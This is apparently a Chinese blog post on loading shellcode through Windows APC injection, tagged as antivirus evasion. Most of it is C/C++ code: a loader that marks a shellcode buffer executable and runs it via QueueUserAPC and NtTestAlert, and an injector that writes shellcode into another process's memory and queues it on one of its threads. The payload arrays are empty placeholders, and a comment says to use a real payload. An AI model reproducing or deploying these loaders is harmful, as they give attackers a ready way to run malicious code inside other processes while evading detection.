«

ShellCode加载 - APC注入

ljierui 发布于 阅读:117 技术杂谈


1、APC注入

1.1、什么是APC

1.2、简单的APC实现

#include <windows.h>
#include <iostream>

void CALLBACK ApcRoutine(LPVOID lpArg1, DWORD dwTimerLowValue, DWORD dwTimerHighValue) {
    std::cout << "APC routine executed!" << std::endl;
}

int main() {
    // GetCurrentThread 获取当前线程句柄
    HANDLE hThread = GetCurrentThread();
    // 队列APC到当前线程
    QueueUserAPC(ApcRoutine, hThread, NULL);
    // 让当前线程进入alertable状态,以处理APC
    SleepEx(5000, TRUE);
    return 0;
}

1.3、QueueUserAPC函数

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC, // 指向指定线程执行可警报等待操作时要调用的应用程序提供的 APC 函数的指针。
  [in] HANDLE    hThread, // 线程的句柄。 句柄必须具有 THREAD_SET_CONTEXT 访问权限
  [in] ULONG_PTR dwData // 传递给 pfnAPC 参数指向的 APC 函数的单个值。
);

1.4、NtTestAlert

1.5、GetProcAddress函数

FARPROC GetProcAddress(
  [in] HMODULE hModule, // 包含函数或变量的 DLL 模块的句柄。 LoadLibrary、LoadLibraryEx、LoadPackagedLibrary 或 GetModuleHandle 函数返回此句柄。
  [in] LPCSTR  lpProcName // 函数或变量名称,或函数的序号值
);

1.6、实现代码

#include<windows.h>

typedef DWORD(WINAPI* pNtTestAlert)();

unsigned char shellcode[] = "";

int main() {

    DWORD oldProtect;
    VirtualProtect((LPVOID)shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
    pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));

    // 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
    QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)shellcode, GetCurrentThread(), NULL);

    //调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
    NtTestAlert();
    return 0;
}

1.7、在进程中实现

#include <windows.h>
#include <tlhelp32.h>

// 声明NtTestAlert函数,该函数通常不包含在Windows SDK头文件中
extern "C" void NTAPI NtTestAlert();

void InjectAndExecuteShellcode(DWORD targetPid, unsigned char* shellcode, size_t shellcodeSize) {
    // 1. 打开目标进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

    // 2. 在目标进程的内存中分配内存以保存shellcode
    LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 3. 将shellcode写入目标进程的内存
    WriteProcessMemory(hProcess, remoteShellcode, shellcode, shellcodeSize, NULL);

    // 4. 获取目标进程的某个线程
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, targetPid);
    THREADENTRY32 te;
    te.dwSize = sizeof(THREADENTRY32);
    Thread32First(hSnapshot, &te);
    HANDLE hThread = NULL;
    do {
        if (te.th32OwnerProcessID == targetPid) {
            hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
            break;
        }
    } while (Thread32Next(hSnapshot, &te));

    // 5. 使用QueueUserAPC为目标线程添加一个指向shellcode的APC
    QueueUserAPC((PAPCFUNC)remoteShellcode, hThread, NULL);

    // 这里我们不直接调用NtTestAlert,而是假设目标进程中的线程在某个时候会调用它
    // 或者线程会进入alertable状态并执行该APC。

    // 清理句柄
    CloseHandle(hThread);
    CloseHandle(hProcess);
    CloseHandle(hSnapshot);
}

int main() {
    // 这是示例shellcode。你应该使用实际的有效负载。
    unsigned char shellcode[] = { /*... shellcode bytes ...*/ };
    DWORD targetPid = /* 目标进程ID */;
    InjectAndExecuteShellcode(targetPid, shellcode, sizeof(shellcode));

    return 0;
}

免杀

推荐阅读: